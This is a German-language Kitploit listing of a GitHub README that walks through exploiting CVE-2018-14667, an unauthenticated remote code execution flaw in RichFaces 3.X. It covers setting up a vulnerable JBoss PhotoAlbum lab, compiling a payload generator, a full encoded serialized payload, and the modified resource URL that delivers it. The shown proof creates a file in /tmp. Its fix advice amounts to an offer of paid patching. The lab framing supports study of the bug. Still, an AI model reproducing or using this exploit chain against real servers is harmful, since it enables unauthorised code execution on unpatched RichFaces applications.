Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-14667 — Alles über CVE-2018-14667; Von dem, was es ist, bis hin zu seiner erfolgreichen Ausnutzung. | Kitploit
Tools/GitHubGitHub/syriusbughunt/cve-2018-14667
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Alles über CVE-2018-14667; Von dem, was es ist, bis hin zu seiner erfolgreichen Ausnutzung.

Repository anzeigen
5092vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-14667

Nachdem ich viel Zeit damit verbracht habe, diese CVE zu verstehen und korrekt auszunutzen, habe ich beschlossen, ein Repository zu dem RichFaces 3.X RCE-Bug zu erstellen und die HOWTOs Schritt für Schritt mit der Community zu teilen.

0x00 : Einführung in den RichFaces 3.X-Bug

Am Montag, dem 19. November, veröffentlichte Joao F M Figueiredo einen sehr detaillierten Artikel (https://seclists.org/fulldisclosure/2018/Nov/47) über eine kritische, hochriskante RichFaces-Schwachstelle.
CVSS3-Basiswert 9.8

Diese Schwachstelle ermöglicht es beliebigen nicht authentifizierten Benutzern, auf jeder Webanwendung, die RichFaces 3.X (alle Versionen) verwendet, entfernten Code auszuführen – was so ziemlich das Worst-Case-Szenario ist.

0x01 : Bin ich betroffen? 

Nun, wenn Sie RichFaces 3.X (eine beliebige Version von RichFaces 3) ausführen und den folgenden Code in Ihrem Quellcode sehen, ist die Wahrscheinlichkeit groß, dass Sie anfällig für Remote-Code-Ausführung durch CVE-2018-14667 sind:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : Eine angreifbare Umgebung zum Testen des Bugs ausführen 

Ich werde im Wesentlichen wiederholen, was in dem Artikel von seclists.org bereits behandelt wurde, nämlich wie man eine angreifbare Umgebung bereitstellt.

  1. Laden Sie JBoss 5.1.0GA und eine Demo-Anwendung mit RichFaces herunter, die die PhotoAlbum-Anwendung enthält.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Entpacken Sie das ZIP-Archiv.
  3. Kopieren Sie die Anwendung richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear in das JBoss-Deploy-Verzeichnis jboss-5.1.0.GA/server/default/deploy/
  4. Starten Sie den JBoss-Anwendungsserver mit der folgenden Syntax (stellen Sie vor dem Start sicher, dass Ihr Port 8080 nicht bereits belegt ist): cd bin ; ./run.sh -b 0.0.0.0
  5. Sie müssen die PhotoAlbum-Indexseite aufrufen, um die Webanwendung zu aktivieren.

0x03 : Ein gültiges Payload erzeugen 

Jetzt kommt der spaßige Teil! Genau hier bin ich auf Schwierigkeiten gestoßen, daher werde ich im Detail erklären, wie man ein gültiges Payload erzeugt, ohne dieselben Fehler zu wiederholen, die ich gemacht habe. Ich empfehle, zunächst Eclipse zum Kompilieren des Payloads zu verwenden.

  1. Laden Sie Eclipse über den folgenden Link herunter:
    → https://www.eclipse.org/downloads/
  2. Starten Sie Eclipse und wählen Sie, ein neues Web-Projekt zu erstellen.
  3. Holen Sie sich den Payload-Generator (Dank geht an orich1 von https://xz.aliyun.com/t/3264), der in diesem Repository verfügbar ist
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Extrahieren Sie das WAR-Archiv aus diesem Repository (richfaces-demo-3.3.0.GA-tomcat6.war), kopieren Sie alle .jar-Dateien aus dem Ordner WEB-INF/lib/ nach WebContent/WEB-INF/lib/ in Ihr Java-Web-Projekt in Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Fügen Sie die Datei Main.java in Eclipse hinzu; klicken Sie mit der rechten Maustaste auf den Namen Ihres Java-Web-Projekts in Eclipse, New, File.
  6. Machen Sie den Ordner WebContent/WEB-INF/lib zur Build-Path-Quelle in Eclipse; klicken Sie mit der rechten Maustaste auf den lib-Ordner, Build Path, Use as Source Folder.
  7. Mal sehen, ob Sie Glück haben; klicken Sie auf den grünen Play-Button, um den Compiler auszuführen. Wenn Sie 0 Fehler und ein gültiges Payload in Ihrer Ausgabe erhalten, herzlichen Glückwunsch, Sie haben jetzt ein gültiges Payload für CVE-2018-14667. Wenn Sie jedoch alle möglichen Fehler haben, geraten Sie nicht in Panik. Sie könnten die folgenden Zeilen auskommentieren: 29,30,31,32,33,34,35, sodass es so aussieht:
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

Ihre Ausgabe in Eclipse sollte wie folgt aussehen:

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Ihr Payload senden und Remote-Code-Ausführung erhalten 

Navigieren Sie in Ihrem Browser zu Ihrem lokalen JBoss-Server, auf dem die PhotoAlbum-Webanwendung läuft: http://192.168.100.2:8080/photoalbum, und klicken Sie mit der rechten Maustaste, um den Seitenquelltext anzuzeigen. Drücken Sie Strg+F und suchen Sie nach '/DATA/'. Sie sollten etwas Ähnliches finden:

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Sie können das serialisierte Objekt deutlich sehen. An dieser Stelle ersetzen wir das serialisierte Objekt durch unser Payload, um Remote-Code-Ausführung zu erhalten. Ändern Sie in Ihrem Browser die URL zu http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Mein Payload führte den folgenden Befehl aus: 'touch /tmp/PoorRichFaces'. Mal sehen, ob ich Erfolg hatte:

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Fühlt sich gut an, nicht wahr? Wir haben gerade RCE auf einer Java-Webanwendung erlangt, die RichFaces 3.X ausführt.

0x05 : Wie patchen? 

Diese Tatsache wird Ihnen vielleicht nicht gefallen, also seien Sie bereit und halten Sie sich an Ihrer Tastatur fest; RichFaces hat das Ende der Unterstützung ihres Produkts erreicht, daher sollten die Benutzer (Sie) ihren eigenen Patch anwenden. Keine Panik: Wenn Sie keinen Weg zum Patchen finden, zögern Sie nicht, mich zu kontaktieren. Wir können eine Vereinbarung treffen, damit ich Ihre Java-Webanwendungen patchen kann.

E-mail: [email protected]

Tool herunterladen